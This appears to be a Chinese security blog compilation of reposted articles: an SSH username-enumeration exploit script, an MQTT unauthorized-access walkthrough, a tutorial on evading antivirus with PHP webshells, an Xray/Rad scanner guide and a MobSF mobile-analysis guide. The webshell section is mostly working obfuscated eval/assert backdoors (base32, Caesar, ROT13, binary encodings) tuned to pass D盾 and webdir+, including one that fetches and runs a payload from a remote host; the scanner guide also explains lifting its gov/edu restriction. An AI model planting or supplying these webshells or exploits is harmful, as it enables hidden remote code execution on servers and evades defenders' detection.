  • 语法：python ssh_checkusername.py ip username –port 22

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python

# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.


import argparse
import logging
import paramiko
import socket
import sys


class InvalidUsername(Exception):
    pass


def add_boolean(*args, **kwargs):
    pass


old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)


def userauth_failure(*args, **kwargs):
    raise InvalidUsername()


paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
except socket.error:
    print '[-] Failed to connect'
    sys.exit(1)

transport = paramiko.transport.Transport(sock)
try:
    transport.start_client()
except paramiko.ssh_exception.SSHException:
    print '[-] Failed to negotiate SSH transport'
    sys.exit(2)

try:
    transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'

验证说明：

如果服务器存在的用户，则脚本会返回Valid username

如果服务器不存在的用户，则脚本会返回Invalid username
如果升级ssh版本之后：

如果服务器存在的用户，则脚本会返回Valid username

如果服务器不存在的用户，则脚本会返回Valid username

MQTT未授权漏洞利用

MQTT未授权漏洞利用

本文转自唐小风 并作补充

1、扫描端口

image

2、mqtt-pwd安装

1
2
3
4
git clone https://github.com/akamai-threat-research/mqtt-pwn.git
cd mqtt-pwd
docker-compose up --build --detach
docker-compose run cli
1
2
3
4
discovery
scans
scans -i 1
topics

image

一些webshell免杀的技巧

一些webshell免杀的技巧

本文转自pureqh 并作补充

0x00：前言

由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束。

0x01：自定义加密Bypass

部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则 比如某dir+

image

比如这个 都能被检测出是shell

所以为了防止这种的规则 自定义加密显然是最优解

自定义加密可选性多了 只要能把加密后的字符还原回去就行 比如base32 base58 这类的base编码全家桶 或者自定义ascii移位 甚至是对称加密算法等都是可以绕过这类规则检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class KUYE{
      public $DAXW = null;
      public $LRXV = null;
      function __construct(){
      $this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
      $this->LRXV = @SYXJ($this->DAXW);
      @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
      }}
new KUYE();
function MNWK($QSFX){
  $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
  $NLHB = '';
  $v = 0;
  $vbits = 0;
  for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
  $v <<= 8;
      $v += ord($QSFX[$i]);
      $vbits += 8;
      while ($vbits >= 5) {
          $vbits -= 5;
          $NLHB .= $BASE32_ALPHABET[$v >> $vbits];
          $v &= ((1 << $vbits) - 1);}}
  if ($vbits > 0){
      $v <<= (5 - $vbits);
      $NLHB .= $BASE32_ALPHABET[$v];}
  return $NLHB;}
function SYXJ($QSFX){
  $NLHB = '';
  $v = 0;
  $vbits = 0;
  for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
      $v <<= 5;
      if ($QSFX[$i] >= 'a' && $QSFX[$i] <= 'z'){
          $v += (ord($QSFX[$i]) - 97);
      } elseif ($QSFX[$i] >= '2' && $QSFX[$i] <= '7') {
          $v += (24 + $QSFX[$i]);
      } else {
          exit(1);
      }
      $vbits += 5;
      while ($vbits >= 8){
          $vbits -= 8;
          $NLHB .= chr($v >> $vbits);
          $v &= ((1 << $vbits) - 1);}}
  return $NLHB;}
?>

image

  • ascii码移位payload（凯撒加密）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class FKPC{
      function __construct(){
      $this->TQYV = "bs^i%!\MLPQXwbolZ&8";
      $this->WZDM = @HHGJ($this->TQYV);
      @eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
      }}
new FKPC();
function HHGJ($UyGv) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
  $svfe[] = chr((ord($f[$i])+3));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>

image

居然没过webdir+

那如何解决呢 我们后面再说 当然应付D盾还是绰绰有余了

image

Rot13加密payload

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class KUYE{
        public $DAXW = null;
        public $LRXV = null;
        function __construct(){
        $this->DAXW = 'riny($_CBFG[mreb]);';
        $this->LRXV = @str_rot13($this->DAXW);
        @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
        }}
new KUYE();

?>

二进制转化payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class KUYE{
        public $DAXW = null;
        public $LRXV = null;
        function __construct(){
        $this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011';
        $this->LRXV = @BinToStr($this->DAXW);
        @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
        }}
new KUYE();
function BinToStr($str){
    $arr = explode(' ', $str);
    foreach($arr as &$v){
        $v = pack("H".strlen(base_convert($v, 2, 16)), base_convert($v, 2, 16));
    }

    return join('', $arr);
}
?>

image

这里就不列举了 只要方法正确 绕过杀软是很简单的

0x02：通过http获得关键参数

上面那个凯撒密码不是被webdir+杀了吗 我们在这里将他绕过

众所周知凯撒密码需要设置往前或往后移几位ascii 这个参数可以设置为解密方法的输入参数 经过测试 此参数在源码中会被沙盒跑出了 因此不能过百度杀毒 ，那么 我不写本地不就行了 我直接起一个http服务访问文本获得参数值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class FKPC{
        function __construct(){
        $url = "http://xxxxx:8080/1.txt";
        $fp = fopen($url, 'r');
        stream_get_meta_data($fp);
        while (!feof($fp)) {
            $body.= fgets($fp, 1024);
        }
        $this->x = $body;
        $this->TQYV = "bs^i%!\MLPQXwbolZ&8";
        $this->WZDM = @HHGJ($this->TQYV,$this->x);
        @eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
        }}
new FKPC();

function HHGJ($UyGv,$x) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
    $svfe[] = chr((ord($f[$i])+$x));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>

image

当然肯定能用

image

但是 这转了一圈简直不低碳啊 我不能直接http获取payload吗 …

简化代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class KUYE{
        public $a = 'yshasaui';
        public $b = '';
        function __construct(){
        $url = "http://xxx/1.txt";
        $fp = fopen($url, 'r');
        stream_get_meta_data($fp);
        while (!feof($fp)) {
            $body.= fgets($fp, 1024);
        }
        $this->b = $body;
        @eval("/*GnSpe=121u*/".$this->b."/*Gn212Spe=u*/");
        }}
new KUYE();
?>

image

image

0x03：重写函数Bypass

众所周知 正则类杀软最喜欢直接把危险函数加入规则 那么 它杀的是函数名 还是逻辑呢？

试一试就知道了

我们的样本如下：

1
2
3
4
5
6
7
<?php

$a = substr("assertxx",0,6);

$a($_POST['x']);

?>

这是个使用substr函数切割关键字的小马

直接扔到webdir+杀

image

毫无疑问的被杀了

那么 我们重写substr函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function mysubstr($string, $start = 0, $length = null) {
    $result = '';
    $strLength = strlen($string);
    if ($length === null) {
        $length = $strLength;
    }
    $length = (int) $length;
    $start = $start < 0 ? ($strLength + $start) : ($start);
    $end = $length < 0 ? ($strLength + $length) : $start + $length;
    if ($start > $strLength || ($end - $start) === 0) {
        return $result;
    }
    for (; $start < $end; $start ++) {
        $result .= $string[$start];
    }
    return $result;
}

然后把函数替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$b = 'assert(xyz@';
$c =  mysubstr($b,0,6);
$c($_POST['zero']);
function mysubstr($string, $start = 0, $length = null) {
    $result = '';
    $strLength = strlen($string);
    if ($length === null) {
        $length = $strLength;
    }
    $length = (int) $length;
    $start = $start < 0 ? ($strLength + $start) : ($start);
    $end = $length < 0 ? ($strLength + $length) : $start + $length;
    if ($start > $strLength || ($end - $start) === 0) {
        return $result;
    }
    for (; $start < $end; $start ++) {
        $result .= $string[$start];
    }
    return $result;
}
?>

再拿去杀

image

结论很清楚了

再来D盾杀一下

image

不错 报2级了 这就是沙盒型查杀和正则类查杀的明显区别 怎么过呢 用构造方法即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class pure
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($string, $start = 0, $length = null) {
    $result = '';
    $strLength = strlen($string);
    if ($length === null) {
        $length = $strLength;
    }
    $length = (int) $length;
    $start = $start < 0 ? ($strLength + $start) : ($start);
    $end = $length < 0 ? ($strLength + $length) : $start + $length;
    if ($start > $strLength || ($end - $start) === 0) {
        return $result;
    }
    for (; $start < $end; $start ++) {
        $result .= $string[$start];
    }
    return $result;
}
?>

image

看到这里大家可能也很奇怪 这里都没用到mysubstr函数 放上去不是多此一举吗

不好意思 恰恰不是 我们可以去掉这个函数 用D盾杀一下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class pure
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}
$b = new pure;
$b->a = $_POST['zero'];
?>

image

怎么样 是不是很有趣

这里放这堆代码并不是为了真的用它 而是为了过D盾的特征查杀 所以放什么函数是无所谓的。

比如这样：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class pure
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($a,$b) {
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
}
?>

image

这里只介绍了重写substr函数 那么其他的函数可以吗 当然可以

0x04：写在后面

只要思想不滑坡 方法总比困难多

Xray、Rad两款工具的使用与联动

Xray、Rad两款工具的使用与联动

本文转自夏初春末_昊 并作补充

1、Xray的简介

xray 是一款功能强大的安全评估工具，由多名经验丰富的一线安全从业者呕心打造而成，主要特性有:

1、检测速度快。发包速度快; 漏洞检测算法效率高。
2、支持范围广。大至 OWASP Top 10 通用漏洞检测，小至各种 CMS 框架 POC，均可以支持。
3、代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。
4、高级可定制。通过配置文件暴露了引擎的各种参数，通过修改配置文件可以客制化功能。
5、安全无威胁。xray 定位为一款安全辅助评估工具，而不是攻击工具，内置的所有 payload 和 poc 均为无害化检查。
这是Xray的官方教程https://docs.xray.cool/#/

2、Xray的使用

2.1、下载Xray

https://github.com/chaitin/xray/releases

2.2、使用powershell进入到下载解压的目录

1
2
.\Xray.exe --运行xray
.\Xray.exe version  --查看版本号

2.3、使用 xray 代理模式进行漏洞扫描

（1）代理模式下，扫描器作为中间人，首先原样转发流量，并返回服务器响应给浏览器等客户端，通讯两端都认为自己直接与对方对话，同时记录该流量，然后修改参数并重新发送请求进行扫描。
（2）在浏览器使用 https 协议通信的情况下，必须要得到客户端的信任，才能建立与客户端的通信。这里的突破口就是 ca 证书。只要自定义的 ca 证书得到了客户端的信任，xray 就能用该 ca 证书签发各种伪造的服务器证书，从而获取到通信内容。

1
./xray_darwin_amd64 genca --生成ca证书

双击 ca.crt，将证书导入到受信任的目录

image

（3）xray 配置文件中默认不允许扫描 gov 和 edu 等网站，如果想对这些网站进行授权测试，需要移除 config.yml中的hostname_disallowed 的相关配置。

2.4、开始扫描

使用powershell执行如下命令

1
2
./xray.exe webscan --listen 127.0.0.1:7777 --html-output xray-scan.html  ---启动监听
./xray.exe webscan --url-file edu.txt --html-output edu.html

（1）启动监听之后，浏览器开启127.0.0.1/7777的代理
（2）浏览器访问网页就行，xray会自动进行扫描

2.5、使用 xray 基础爬虫模式进行漏洞扫描

（1）爬虫模式是模拟人工去点击网页的链接，然后去分析扫描，和代理模式不同的是，爬虫不需要人工的介入，访问速度要快很多
./xray.exe webscan –basic-crawler http://127.0.0.1/pikachu/vul/sqli/sqli_str.php –html-output pachong_pikachu.html
（2）登录后的网站扫描。如果用的是代理模式，只要浏览器是登录状态，那么漏洞扫描收到的请求也都是登录状态的请求。对于普通爬虫而言，就没有这么“自动化”了， 可以通过配置 Cookie 的方式实现登录后的扫描。打开配置文件，修改 http 配置部分的 Headers 项:（配置文件修改）

1
2
3
http:
  headers:
    Cookie: key=value

2.6、漏洞扫描时使用代理（配置文件修改）

1
proxy:"	"	# 漏洞扫描时使用的代理，如: http://127.0.0.1:8080

3、Rad简介

Rad是长亭科技开发的一款目录爬取工具，因为xray自动化爬取功能欠佳，所以结合rad可以更高效的自动爬取。注意，rad只是爬取目标的目录，不爬取子域！！

3.1、下载Rad

https://github.com/chaitin/rad/releases

3.2、Rad的使用

下载好后进入解压的目录，执行如下命令进行使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rad -t http://example.com
需要手动登录的情况

rad -t http://example.com -wait-login
执行以上命令会自动禁用无头浏览模式，开启一个浏览器供手动登录。 在登录完毕后在命令行界面点击回车键继续爬取。

rad -t http://example.com -text-output vuln.txt
以上命令会将爬取到的URL输出到vuln.txt中

导出完整请求
rad -t http://example.com -full-text-output result.txt

完美使用语法如下
rad_windows_amd64.exe -t http://example.com -text-output vuln.txt  -wait-login

4、Xray与Rad联动

4.1、rad+xray高效扫描

（1）xray开启代理监听

1
xray.exe  webscan --listen 127.0.0.1:7777 --html-output proxy.html

（2）rad对目标进行爬取，代理到xray上

1
rad -t http://127.0.0.1/pikachu/ -http-proxy 127.0.0.1:7777  -wait-login

MobSF移动安全测试框架|自动化静动态app分析框架

MobSF移动安全测试框架|自动化静动态app分析框架

本文转自雨苁 并作补充

移动安全框架（MobSF）是一种自动化的多合一移动应用程序(Android/iOS/Windows)可以进行静态和动态分析的渗透测试，恶意软件分析和安全评估框架。MobSF支持移动应用程序二进制文件（APK，XAPK，IPA和APPX）以及压缩的源代码，并提供REST API以与CI / CD或DevSecOps管道无缝集成。动态分析器可帮助您执行运行时安全性评估和交互式检测。

运行截图示例

静态分析-Android

image

静态分析-Android源树状视图

image

静态分析-iOS

image

动态分析-Android APK

image

Web API查看器

image

项目地址:

Github

安装方法

requirements.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Django>=3.1.5
lxml>=4.6.2
rsa>=4.7
biplist>=1.0.3
requests>=2.25.1
bs4>=0.0.1
colorlog>=4.7.2
macholib>=1.14
whitenoise>=5.2.0
waitress>=1.4.4;platform_system=='Windows'
gunicorn>=20.0.4;platform_system!='Windows'
psutil>=5.8.0
shelljob>=0.6.2
asn1crypto>=1.4.0
oscrypto>=1.2.1
distro>=1.5.0
IP2Location>=8.5.1
lief>=0.11.0
http-tools>=2.1.0
libsast>=1.3.7
pdfkit>=0.6.1
google-play-scraper>=0.1.2
androguard==3.3.5
apkid==2.1.2
frida==14.2.8
# For semgrep
ruamel.yaml==0.16.10  # pyup: ignore

现在，只要您已安装文档中的所有要求，就可以从pypi https://pypi.org/project/mobsf/安装mobsf

1
2
3
4
5
6
7
8
9
python3 -m venv venv
source venv/bin/activate

pip wheel --wheel-dir=yara-python --build-option="build" --build-option="--enable-dex" git+https://github.com/VirusTotal/yara-python.git@v3.11.0
pip install --no-index --find-links=yara-python yara-python

pip install mobsf
mobsfdb # 迁移数据库
mobsf 127.0.0.1:8000 # 运行mobsf

linux系统安装方法

1
2
3
4
5
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
apt-get install python3-venv
pip3 install -r requirements.txt
./setup.sh

在浏览器中打开链接(0.0.0.0:8000)，查看MobSF是否已正确安装。

image

登陆页面

现在MobSF已启动并正在运行，我们可以将虚拟APK（在本例中，我将使用Kyle Benac的InjuredAndroid（在此处））放入MobSF界面，然后看看会发生什么。等待几分钟后，我们可以看到对APK进行了静态分析。现在，在登录页面上，我们可以看到给出了严重性评分。此分数越高，应用程序越安全。接下来，还给出了哈希，APK的文件名和大小。在第一行的第三列中，我们还可以看到软件包名称，主要活动，最小SDK版本和应用程序版本。还给出了应用程序的描述。

image

向下滚动一点后，我们将看到以下内容：

  • 在小卡片中，我们看到了不同的应用程序组件
  • 动态分析选项将帮助MobSF进行运行时分析
  • 查看反编译代码的选项。这是apktool生成的代码。通常，资源文件也将被解码。也可以查看smali代码。使用它，可以更轻松地在单独的Java类中分离和查看源代码。

image

签署者证书分析

在证书列中，我们可以看到签署者证书，在其中可以找到有关开发人员，国家/地区，州，算法类型，位大小等的重要信息。

image

申请权限

此外，我们可以看到应用程序具有的所有权限。
有各种权限被分类为危险或正常。
从安全分析人员的角度来看，重要的是要了解哪些权限可能导致进一步的损害。例如，如果应用程序可以访问外部媒体并将关键信息存储在外部媒体上，则可能会很危险，因为存储在外部媒体上的文件是全局可读和可写的。

image

可浏览的活动和网络安全分析

接下来，在“可浏览的活动”部分中，我们可以看到实现了深层链接架构的所有活动。请参考**此处** 的文章**，**以了解有关深层链接，其实现以及开发的所有信息。

在“网络安全”部分，您可以找到有关与应用程序相关的网络安全问题的一些详细信息。这些问题有时会导致类似MiTM的严重攻击。例如，在下面的屏幕截图中，您可以发现该应用程序未使用已实现的SSL固定机制。

image

清单分析

在下一节中，MobSF分析了清单文件。您可以从android清单文件中找到许多信息，例如导出了哪些活动，是否可调试应用程序，数据模式等。有关参考，请参见下面的屏幕截图。

image

代码分析

MobSF工具最有趣的功能之一是代码分析部分。在本节中，我们可以看到MobSF已经基于OWASP MSTG等行业安全标准做法对应用程序的某些行为进行了分析和比较，并将漏洞映射到OWASP Top10。有趣的是，在这里提到了CWE和CVSS评分，这很有趣。可能会帮助各种分析人员方案，并有助于更轻松地创建报告。

image

相关恶意软件分析

MobSF还托管提供APKiD分析的部分。APKiD是一个开源工具，对识别Android文件中的各种打包程序，编译器，混淆器等非常有用。它类似于APK中的PEiD。在这里，您可以看到它已在APK中检测到反VM代码。

image

与恶意软件分析有关的是域恶意软件检查功能。MobSF在这里提取所有经过硬编码或在应用程序中使用过的URL / IP地址，并显示其恶意软件状态，并使用ip2location给出其地理位置。

image

还可以进行全面的字符串分析。知道恶意软件分析的人员会深入了解字符串，但对于那些不了解字符串的人，字符串是文件中嵌入的ASCII和Unicode可打印字符序列。提取字符串可以提供有关程序功能和与可疑二进制文件关联的指示符的线索。例如，如果APK将某些内容显示为输出，则该流将被调用并因此显示在字符串中。这与strings.xml文件不同。很多时候，与APK通信的第三方IP地址在此处可见。从恶意软件分析的角度来看，这是必不可少的。

image

人们还可以在MobSF中找到硬编码的电子邮件。全部使用反编译的源代码完成。通常，一个pentester可以找到一些重要的电子邮件ID，这些电子邮件ID在第三方站点上被用作凭证，例如，用于访问数据库。

image

就像电子邮件一样，URL也经常被硬编码。人们可以找到有时正在使用的多汁URL。分析师经常发现恶意URL甚至是C＆C服务器也被访问。

image

硬编码的秘密

通常，开发人员习惯于在string.xml中存储诸如AWS ID和凭证之类的关键密钥，并在Java活动中使用对象作为引用。但是这样做没有任何帮助，因为strings.xml可以轻松解码。

image

活动组件存在

使用MobSF还可滚动显示所有存在的活动的列表。这可以深入了解Android APK的骨架。另外，如果开发人员进行了混淆处理，有时jadx会用一些随机字母替换类的真实名称，MobSF也可以关联其真实名称（并非一直存在或在强烈混淆的情况下不会发生）。

image

同样，分析师也可以遍历服务，广播，提供者和内容接收者以及APK存档中存在的所有文件，以创建应用程序中存在的所有资源的地图。

image

动态分析仪

为了进行动态分析，我们需要先在genymotion中启动android VM。在这里，我已经在7.1版上创建了一个Android VM

image

当您按顶部导航窗格上的动态分析器选项时，如果MobSF和genymotion在同一台基本计算机上运行，则MobSF将自动将其自身附加到正在运行的VM。但是，如果MobSF在另一个虚拟机中，则可能必须将MobSF代理附加到genymotion的VM的远程IP和端口。连接后，我们将看到以下屏幕。

image

在分析器状态栏下，我们可以看到各种可用的默认frida脚本，这些脚本可以检查各种基本漏洞，例如SSL固定绕过和根检测。如果您还没有阅读有关frida的信息，请通过此处阅读。还有其他辅助脚本，使分析人员可以枚举各种类，还可以实时捕获字符串比较（再次有助于恶意软件分析人员的观点）。然后，只需单击“开始检测”，选定的脚本将自动附加到应用程序。因此，如果我选择了SSL Pinning绕过脚本，并且捕获了流量（以后在日志或API监视器中可见），那将意味着SSL Pinning被绕过了。

image

现在，要进一步分析活动的漏洞，可以在顶部看到两个按钮，分别用于已导出和未导出的活动

image

同样，如果不必使用预先配置的Frida脚本，也可以将Frida脚本粘贴到右侧的文本框中。还有一个下拉框可以加载这些脚本。您也可以编辑相同的内容。

image

Logcat流

Logcat也可以在MobSF的本地环境中查看。顶部菜单上有一个按钮，可让用户查看此内容。

image

API监控器

就像logcat监视设备日志一样，也可以监视API。APK实时使用各种API来执行各种功能，例如Base64库。

image

因此，如果函数正在使用此API并解密一个值，我们可以在此处看到该值并对其进行解码。例如，在下面您可以在Base64中看到一次此类函数的返回值。

image

下载报告

完成分析后，可以通过滑动左侧的菜单栏滑块并单击生成报告来下载报告。

image

生成报告时，您可能会注意到一些错误。要解决此问题，您可以按照以下命令安装wkhtmltopdf模块：

1
apt-get install wkhtmltopdf

image

现在，再次单击最近的扫描栏，您将看到静态和动态报告生成选项。

image

该报告如下所示：

image

结论

MobSF是在Android APK上进行自动化分析的绝佳工具。它并没有涵盖对所有漏洞的分析，许多测试只能手动进行，但它是一个非常漂亮的小工具，可以在很大程度上帮助分析师。

from